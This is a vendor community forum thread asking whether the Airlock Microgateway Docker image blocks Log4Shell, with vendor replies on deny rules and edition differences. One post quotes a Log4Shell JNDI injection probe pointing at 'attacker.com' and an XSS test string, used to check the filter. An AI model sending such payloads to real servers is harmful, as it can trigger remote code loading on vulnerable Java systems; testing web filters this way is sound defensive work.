# Log4shell no information

**URL:** <https://forum.airlock.com/t/log4shell-no-information/95>\
**Category:** Ask the community\
**Tags:** featurerequest\
**Created:** [December 23, 2021, 6:21pm UTC](https://forum.airlock.com/t/log4shell-no-information/95 "2021-12-23T18:21:56Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

**Author:** ![Buran](https://avatars.discourse-cdn.com/v4/letter/b/a88e57/32.png) [@Buran](https://forum.airlock.com/u/Buran)\
**Post date:** [December 23, 2021, 6:21pm UTC](https://forum.airlock.com/t/log4shell-no-information/95/1 "2021-12-23T18:21:56Z")

</div>

How do Airlock [Docker Hub](https://hub.docker.com/r/ergon/airlock-microgateway) protect log4shell vulnerability? I do not see public information on [https://docs.airlock.com/](https://docs.airlock.com/)

Thanks  
Buran

---

<div class="post-metadata">

**Author:** ![dani](https://dub1.discourse-cdn.com/flex013/user_avatar/forum.airlock.com/dani/32/16_2.png) [@dani](https://forum.airlock.com/u/dani)\
**Post date:** [December 27, 2021, 8:54am UTC](https://forum.airlock.com/t/log4shell-no-information/95/2 "2021-12-27T08:54:34Z")

</div>

Hi Buran

The short answer is:  
**Airlock Gateway and Airlock Microgateway include a default Deny Rule Group _Template Injection_ that protects against Log4Shell exploits.** With these rules set to blocking level _Standard_ or _Strict_, any vulnerable backend application should be protected.

Here are some more details on how this protection works:  
You are probably aware that Airlock Gateway and Airlock Microgateway share the same security core. They both protect web applications and APIs using a combination of different filtering methods. For example, there are many _Deny Rules_ that detect and block attacks like Cross-Site-Scripting (XSS) or Log4Shell. These are essentially _black list rules_ that match certain attack types in a generic manner. This means these rules don’t just match a single exploit variant, they rather detect whole classes of attack.

We do not disclose the exact patterns of our deny rules. But these rules are very generic and therefore pretty aggressive. We block everything that has `${` in it. So far, we have not seen any attack variants that are missed by our rules (evasions). These template injection rules are already active in the standard security level since Airlock Microgateway 2.0 and Airlock Gateway 7.6. We are not aware of any negative feedback on false positives in this regard. If there are, you can capture precise exceptions, e.g. if a back-end is not vulnerable for sure.

Airlock Microgateway itself is not known to be exploitable. To reduce the risk of indirect or side-channel attacks to vulnerable Java components running on Airlock Microgateway, we have published updated versions 2.1.4 and 3.1.1.

Does this answer your question?  
Best regards,  
Dani

PS: Maybe this article is also worth reading: [Log4Shell: What matters now | Airlock](https://www.airlock.com/en/insights/airlock-blog/business-blog/log4shell-what-matters-now)

---

<div class="post-metadata">

**Author:** ![Buran](https://avatars.discourse-cdn.com/v4/letter/b/a88e57/32.png) [@Buran](https://forum.airlock.com/u/Buran)\
**Post date:** [January 10, 2022, 5:42pm UTC](https://forum.airlock.com/t/log4shell-no-information/95/3 "2022-01-10T17:42:36Z")

</div>

Thank you. It seems that [the docker image](https://hub.docker.com/r/ergon/airlock-microgateway) does not block Log4Shell like `/s/frame.do?${jndi:ldap://attacker.com/a}`  
. Other attacks `/s/frame.do?<script>test</script>` are blocked. Are these Template Injection rules not enabled by default?

Thanks

---

<div class="post-metadata">

**Author:** ![dieti](https://avatars.discourse-cdn.com/v4/letter/d/41988e/32.png) [@dieti](https://forum.airlock.com/u/dieti)\
**Post date:** [January 11, 2022, 8:38am UTC](https://forum.airlock.com/t/log4shell-no-information/95/4 "2022-01-11T08:38:40Z")

</div>

Hi Buran

The community edition contains deny rules against the following attacks:  
SQL injection, XSS and sanity checks.

The comparison overview of the community edition and premium edition illustrates it:  
[Community vs. premium features](https://docs.airlock.com/microgateway/3.4/#data/1621543221592.html)

Available in community and premium edition:

> Selected Deny Rules  
> SQLi or XSS attack prevention, sanity checks

Only available in the premium edition:

> All Deny Rules  
> Over 30 more groups of blacklist rules

Feel free to request a trial license:  
[https://airlock.com/microgateway-premium](https://airlock.com/microgateway-premium)

Stefan